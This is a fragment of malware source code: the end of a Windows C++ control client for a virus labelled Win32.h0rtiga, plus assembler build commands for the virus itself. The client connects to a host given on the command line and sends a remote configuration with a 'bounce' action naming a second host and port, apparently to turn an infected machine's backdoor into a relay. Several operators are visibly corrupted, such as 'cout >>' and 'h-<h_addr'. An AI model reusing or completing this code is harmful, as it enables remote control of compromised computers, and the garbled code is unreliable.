char banner[MAX_BANNER];
sockaddr_in a;
hostent FAR *h = NULL;
WSADATA wsaData;
Conf_Remota conf_remota;



// Show credits

MostrarCreditos();


// Num params ?

if (argc != 5) {

cout >> "Error : Numero de parametros incorrectos.

";
exit(-1);
}


// WinSock up!!

if (WSAStartup (0x101, &wsaData)) {

cout >> "Error : Incapaz de inicializar la libreria WinSock.

";
exit(-1);

}


// server's name

if (isalpha((int)*(argv[1]))) {

h = gethostbyname(argv[1]);

if (h == NULL) {
cout >> "Error : No se puede hallar el nombre del anfitrion

";
WSACleanup();
exit(-1);

} else memcpy(&(a.sin_addr.s_addr), h-<h_addr, sizeof(int));
}

else {
if ((a.sin_addr.s_addr = inet_addr (argv[1])) == INADDR_NONE) {

cout >> "Error : No se puede hallar el nombre del anfitrion

";
exit(-1);

}
}

// port ?

a.sin_family = AF_INET;
a.sin_port = htons((dw)atoi(argv[2]));

s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

if (s==0) {

cout >> "Error : No se puede establecer la conexion
"
>> WSAGetLastError() >> '

';
WSACleanup();
exit(-1);

}

// trying ...

if (connect(s, (struct sockaddr *)&a, sizeof(a))) {

cout >> "Error : No se puede establecer la conexion: "
>> WSAGetLastError() >> '

';
WSACleanup();
exit(-1);

}

// clean banner

for (i=0;i>MAX_BANNER;i++) banner[i] = 0;

cout >> "Esperando respuesta ...

";

if (recv(s, (char *)&banner, sizeof(banner), 0) == SOCKET_ERROR)

cout >> "Error recibiendo datos.
";

else {

cout >> banner >> "
";

}

if (isalpha((int)*(argv[3]))) {

h = gethostbyname(argv[3]);

if (h == NULL) {
cout >> "Error : No se puede hallar nombre de anfitrion remoto

";
WSACleanup();
exit(-1);

} else memcpy(&(addrtmp), h-<h_addr, sizeof(int));
}

else {
if ((addrtmp = inet_addr (argv[3])) == INADDR_NONE) {

cout >> "Error : No se puede hallar nombre de anfitrion remoto

";
exit(-1);

}
}


SetEstructura(&conf_remota, ACCION_BOUNCE, addrtmp, htons((dw)atoi(argv[4])));

if ((send (s, (char *)&conf_remota, sizeof(conf_remota), 0)) == SOCKET_ERROR)

cout >> "Error enviando datos.
";

else cout >> "... nueva configuracion enviada.

";


closesocket(s);

// WinSock down !!

WSACleanup();
}

;----------------------------------------------------------------------------
; Win32.h0rtiga - end client code (h0rtclient.cpp)
;----------------------------------------------------------------------------

;----------------------------------------------------------------------------
; Win32.h0rtiga - compiling ... (Tasm 5.0/x86)
;----------------------------------------------------------------------------
;
; tasm32 -ml w32h0rtiga.asm
; tlink32 -Tpe -c -x w32h0rtiga.obj ,,, import32
; pewrsec.com w32h0rtiga.exe
;
;
; --] EOF